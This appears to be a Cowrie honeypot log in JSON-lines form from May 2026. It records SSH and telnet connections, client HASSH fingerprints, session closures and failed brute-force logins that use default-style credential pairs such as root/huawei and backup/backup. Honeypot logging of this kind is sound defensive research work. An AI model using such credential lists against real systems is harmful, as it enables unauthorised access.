{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:59.685964Z","src_ip":"31.40.204.166","session":"850dfe92d5c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei","message":"login attempt [root/huawei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:00.125439Z","src_ip":"31.40.204.166","session":"850dfe92d5c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:01.407159Z","src_ip":"31.40.204.166","session":"850dfe92d5c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.21654987335205,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:02.483293Z","src_ip":"152.42.224.71","session":"7360cf129238","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59406,"dst_ip":"10.17.0.5","dst_port":23,"session":"aff0ce0ca4d2","protocol":"telnet","message":"New connection: 152.42.224.71:59406 (10.17.0.5:23) [session: aff0ce0ca4d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:04.428531Z"}
{"eventid":"cowrie.session.closed","duration":112.97328472137451,"message":"Connection lost after 112 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:06.633909Z","src_ip":"152.42.224.71","session":"04d0224b4285","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59422,"dst_ip":"10.17.0.5","dst_port":23,"session":"a98d64fc6c16","protocol":"telnet","message":"New connection: 152.42.224.71:59422 (10.17.0.5:23) [session: a98d64fc6c16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:06.739246Z"}
{"eventid":"cowrie.session.closed","duration":44.61752939224243,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:07.814272Z","src_ip":"152.42.224.71","session":"5a818ecab700","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":23.67834210395813,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:09.888872Z","src_ip":"152.42.224.71","session":"99b9d4172789","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00262784957886,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:10.987718Z","src_ip":"152.42.224.71","session":"94e10b6a9545","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":50312,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f67dd38d312","protocol":"ssh","message":"New connection: 31.40.204.166:50312 (159.203.135.109:22) [session: 2f67dd38d312]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:11.584384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:11.597780Z","src_ip":"31.40.204.166","session":"2f67dd38d312","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:12.400834Z","src_ip":"31.40.204.166","session":"2f67dd38d312","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.28913593292236,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:12.989348Z","src_ip":"152.42.224.71","session":"8e4d6ba9886f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"adminuser","message":"login attempt [adminuser/adminuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:13.005105Z","src_ip":"31.40.204.166","session":"2f67dd38d312","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":21.27160406112671,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:13.606109Z","src_ip":"152.42.224.71","session":"1e8c43c6c4e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"179.176.210.17","src_port":33933,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fe54f32e4b3","protocol":"ssh","message":"New connection: 179.176.210.17:33933 (10.17.0.5:22) [session: 8fe54f32e4b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:13.706728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:13.711245Z","src_ip":"179.176.210.17","session":"8fe54f32e4b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:13.868491Z","src_ip":"179.176.210.17","session":"8fe54f32e4b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:14.188754Z","src_ip":"31.40.204.166","session":"2f67dd38d312","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"halo","password":"123456","message":"login attempt [halo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:14.514265Z","src_ip":"179.176.210.17","session":"8fe54f32e4b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40662,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0d228c10df0","protocol":"telnet","message":"New connection: 152.42.224.71:40662 (10.17.0.5:23) [session: f0d228c10df0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:15.155105Z"}
{"eventid":"cowrie.session.closed","duration":52.64695119857788,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:15.651491Z","src_ip":"152.42.224.71","session":"25fda05cbeae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:15.672724Z","src_ip":"179.176.210.17","session":"8fe54f32e4b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53016,"dst_ip":"10.17.0.5","dst_port":23,"session":"aed1cc64a459","protocol":"telnet","message":"New connection: 152.42.224.71:53016 (10.17.0.5:23) [session: aed1cc64a459]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:17.991009Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53022,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fed5fb51032","protocol":"telnet","message":"New connection: 152.42.224.71:53022 (10.17.0.5:23) [session: 5fed5fb51032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:18.455145Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53038,"dst_ip":"10.17.0.5","dst_port":23,"session":"57dc14a02892","protocol":"telnet","message":"New connection: 152.42.224.71:53038 (10.17.0.5:23) [session: 57dc14a02892]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:21.662017Z"}
{"eventid":"cowrie.session.closed","duration":39.331934452056885,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:22.654019Z","src_ip":"152.42.224.71","session":"c270c3e95372","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":45950,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e13b98233b6","protocol":"ssh","message":"New connection: 31.40.204.166:45950 (159.203.135.109:22) [session: 7e13b98233b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:23.919664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:23.924558Z","src_ip":"31.40.204.166","session":"7e13b98233b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:24.102848Z","src_ip":"31.40.204.166","session":"7e13b98233b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operator","password":"operator2026","message":"login attempt [operator/operator2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:24.517571Z","src_ip":"31.40.204.166","session":"7e13b98233b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:25.811064Z","src_ip":"31.40.204.166","session":"7e13b98233b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.32995891571045,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:26.668242Z","src_ip":"152.42.224.71","session":"c85ef72c18de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.829326152801514,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:30.775644Z","src_ip":"152.42.224.71","session":"0f8cc5b4ee9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48376,"dst_ip":"10.17.0.5","dst_port":23,"session":"a546f81ef764","protocol":"telnet","message":"New connection: 152.42.224.71:48376 (10.17.0.5:23) [session: a546f81ef764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:31.556563Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48370,"dst_ip":"10.17.0.5","dst_port":23,"session":"f86a742d3f4c","protocol":"telnet","message":"New connection: 152.42.224.71:48370 (10.17.0.5:23) [session: f86a742d3f4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:31.814002Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48384,"dst_ip":"10.17.0.5","dst_port":23,"session":"730d8f62bb59","protocol":"telnet","message":"New connection: 152.42.224.71:48384 (10.17.0.5:23) [session: 730d8f62bb59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:32.596676Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":34854,"dst_ip":"159.203.135.109","dst_port":22,"session":"5fa44c559fba","protocol":"ssh","message":"New connection: 31.40.204.166:34854 (159.203.135.109:22) [session: 5fa44c559fba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:36.712057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:36.717710Z","src_ip":"31.40.204.166","session":"5fa44c559fba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.754358768463135,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:37.109895Z","src_ip":"152.42.224.71","session":"7384f33dda2c","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:37.597281Z","src_ip":"31.40.204.166","session":"5fa44c559fba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43242,"dst_ip":"10.17.0.5","dst_port":23,"session":"60c4d15aa6b2","protocol":"telnet","message":"New connection: 152.42.224.71:43242 (10.17.0.5:23) [session: 60c4d15aa6b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:37.671705Z"}
{"eventid":"cowrie.login.failed","username":"bob","password":"bob","message":"login attempt [bob/bob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:38.211323Z","src_ip":"31.40.204.166","session":"5fa44c559fba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:39.392246Z","src_ip":"31.40.204.166","session":"5fa44c559fba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43250,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdef23aa6b77","protocol":"telnet","message":"New connection: 152.42.224.71:43250 (10.17.0.5:23) [session: cdef23aa6b77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:42.236761Z"}
{"eventid":"cowrie.session.closed","duration":36.36692190170288,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:43.106041Z","src_ip":"152.42.224.71","session":"a98d64fc6c16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.925698041915894,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:45.946623Z","src_ip":"152.42.224.71","session":"14256f791e80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":55408,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1085bd98685","protocol":"ssh","message":"New connection: 31.40.204.166:55408 (159.203.135.109:22) [session: d1085bd98685]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:46.831036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:46.835999Z","src_ip":"31.40.204.166","session":"d1085bd98685","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:46.996004Z","src_ip":"31.40.204.166","session":"d1085bd98685","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"backup","message":"login attempt [backup/backup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:47.414488Z","src_ip":"31.40.204.166","session":"d1085bd98685","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:48.588336Z","src_ip":"31.40.204.166","session":"d1085bd98685","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.282700061798096,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:51.711108Z","src_ip":"152.42.224.71","session":"aff0ce0ca4d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00310444831848,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:49:54.138385Z","src_ip":"152.42.224.71","session":"b88e30ce79ac","protocol":"telnet"}
